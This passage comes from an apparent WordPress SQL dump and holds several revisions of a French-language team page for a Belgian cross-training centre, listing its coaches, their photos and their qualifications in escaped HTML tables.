src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting&lt;/h5&gt;\r\nFormateur coach\r\n\r\nCoach\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-29', '', '', '2013-07-03 19:52:22', '2013-07-03 19:52:22', '', 20, 'http://www.crosstrainingcenter.be/?p=251', 0, 'revision', '', 0),
(252, 1, '2013-07-03 19:54:26', '2013-07-03 19:54:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-30', '', '', '2013-07-03 19:54:26', '2013-07-03 19:54:26', '', 20, 'http://www.crosstrainingcenter.be/?p=252', 0, 'revision', '', 0),
(253, 1, '2013-07-03 19:55:18', '2013-07-03 19:55:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:600px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	